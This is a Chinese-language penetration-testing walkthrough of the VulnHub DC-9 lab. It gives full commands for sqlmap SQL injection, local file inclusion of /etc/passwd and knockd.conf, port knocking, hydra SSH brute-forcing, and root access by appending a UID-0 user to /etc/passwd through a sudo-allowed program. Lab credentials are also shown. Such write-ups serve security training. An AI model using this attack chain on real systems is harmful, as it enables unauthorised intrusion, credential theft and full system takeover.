Vulnhub靶场DC-9 渗透测试笔记

前置知识

端口敲门服务 是用来增强安全性的,比如你干了一票逃回宾馆在床上堆满了钱,你关上门(关闭端口)不想让别人进来。这时你同伙来和你商量,为了安全起见,你和他约定好敲门暗号(特定序列),敲门时三下三下地敲(序列号、频率)。然后你就紧张地等他过来,时刻听着敲门(监听),要是听到一下一下敲的,就怀疑是不是警察,要是三下三下敲的,就是同伙来了,你就开门让他进来和你商量(服务),这就是敲门暗号法(knockd)(端口敲门服务)。

靶场搭建

DC: 9 ~ VulnHub

信息打点

kali 扫描存活网段ip ,排除kali本身得到靶场ip192.168.72.145

复制代码
nmap -sn 192.168.72.1/24

端口全扫描

复制代码
nmap -p- 192.168.72.145

拿到webshell(未果)

sql注入

通过插件进行web指纹识别没找到利用点

从功能点入手有输入框,尝试抓包跑sqlmap测试是否有sql注入

抓取到的数据包在sqlmap目录下创建1.txt

指定参数search=1*

bash 复制代码
python sqlmap.py -r 1.txt

爆出数据库

bash 复制代码
python sqlmap.py -r 1.txt --batch --dbs

爆出staff库

bash 复制代码
python sqlmap.py -r 1.txt --batch -D Staff --tables

爆出user表格得到账号和密码的MD5哈希

bash 复制代码
python sqlmap.py -r 1.txt --batch -D Staff --dump

推荐在线碰撞网站

https://cmd5.com/

账号密码:admin,transorbital1

文件包含LFI

管理员登录成功后切换功能点点击发现存在file does not exist猜测可能存在文件包含漏洞

前期信息打点已知服务器为linux

验证文件包含漏洞存在逐级增加../跳出当前目录到上一级目录

bash 复制代码
http://192.168.72.145/manage.php?file=../../../../etc/passwd

但是后续远程文件包含尝试失败

转战ssh

后边查资料发现nmap扫描发现22端口状态为 filtered结合端口敲门

端口敲门

通过文件包含漏洞读取本地配置文件得到敲门的密码可以这样理解 sequence = 7469,8475,9842

bash 复制代码
http://192.168.72.145/manage.php?file=../../../../etc/knockd.conf

借助kali集成的knock开放ssh

bash 复制代码
# 敲门开放SSH(在Kali中执行)
knock 192.168.72.145 7469 8475 9842

# 验证22端口是否开放
nmap -p 22 192.168.72.145

新一轮信息收集sql注入

则需要使用sql注入漏洞获取users库中的UserDetails表中的数据

bash 复制代码
python sqlmap.py -r 1.txt --batch -D users -T UserDetails --dump

让ai进行用户名和密码提取字典处理

利用kali集成的九头蛇工具爆破

bash 复制代码
hydra -L username.txt -P passwd.txt ssh://192.168.72.145

这里通过得到的三个用户分别是 joeyt Passw0rd 和janitor Ilovepeepee 和chandlerb UrAG0d登录后尝试sudo提权和suid提权无果

最后一轮信息收集敏感文件泄露

bash 复制代码
ssh janitor@192.168.72.145
Ilovepeepee
ls -al
cat .secrets-for-putin/*

janitor 用户中 发现了一个隐藏文件.secrets-for-putin将得到的密码加入上边的密码本

重新使用九头蛇工具爆破得到一个新用户

权限提升

ssh连接新用户发现存在sudo提权漏洞无密码执行test

bash 复制代码
ssh fredf@192.168.72.145 
B4-Tru3-001
sudo -l
bash 复制代码
find / -name test.py 2>/dev/null 

查找python文件 进行查看功能是 将参数1的内容写到参数2中然后生成一个用户

原理利用 sudo 程序向 /etc/passwd 追加一个 UID=0 的用户条目,然后 su 切换到该用户,获得 root 权限。

bash 复制代码
HASH=$(openssl passwd -1 -salt hacker 123456); echo "hacker:${HASH}:0:0:root:/root:/bin/bash" > /tmp/hacker; sudo /opt/devstuff/dist/test/test /tmp/hacker /etc/passwd; su hacker

验证提权是否成功

bash 复制代码
id

拿到通关flag

bash 复制代码
cd /root
cat theflag.txt

思路整理

信息收集 → 发现80端口开放 + 22端口filtered

↓

SQL注入 → 获取管理员密码哈希 → 破解得到后台密码

↓

登录后台 → 发现LFI漏洞

↓

LFI读取 /etc/knockd.conf → 获得敲门序列

↓

端口敲门 → SSH端口开放

↓

SQL注入 → 获取系统用户密码表

↓

SSH登录 janitor → 发现隐藏目录 → 获取额外密码

↓

SSH登录 fredf

↓

sudo -l → 发现文件追加程序

↓

构造虚假root用户 → 追加到 /etc/passwd

↓

su hacker → 获得root权限

总结

DC系列完结!!!!!!

相关推荐
用户140360581938312 分钟前
Phase A · Step 2:预训练权重与 Pipeline 验证准备
笔记
旖旎夜光2 小时前
LeetCode 137 : 只出现一次的数字 II(位运算) —— 题解
c++·笔记·学习·算法·leetcode·力控
金色光环3 小时前
概率论笔记:连续型随机变量函数的分布与尺度变换 连续型随机变量函数的分布:定义法与公式法推导
笔记·概率论
维克兜率天4 小时前
【维克】均值回归:跌多了会涨,涨多了会跌
开发语言·笔记·python·算法·均值算法·回归·量化
zhangrelay4 小时前
ROS2 Lyrical实验5导航Nav2
linux·笔记·学习·ubuntu·机器人
yi0114 小时前
DAY 14: LeetCode 394. 字符串解码|递归和栈到底怎么处理嵌套?
数据结构·笔记·python·算法·leetcode
小刘在重生~5 小时前
CSS 零基础完整学习笔记|选择器|盒子模型|布局
css·笔记·学习
浩瀚地学5 小时前
deepagents学习打卡day07
经验分享·笔记·python·学习·agent
泰晶科技5 小时前
【智能手表晶振选型:小尺寸与低功耗如何兼得】
人工智能·笔记
Awh-5 小时前
ARM 裸机开发 DAY5 学习笔记
arm开发·笔记·学习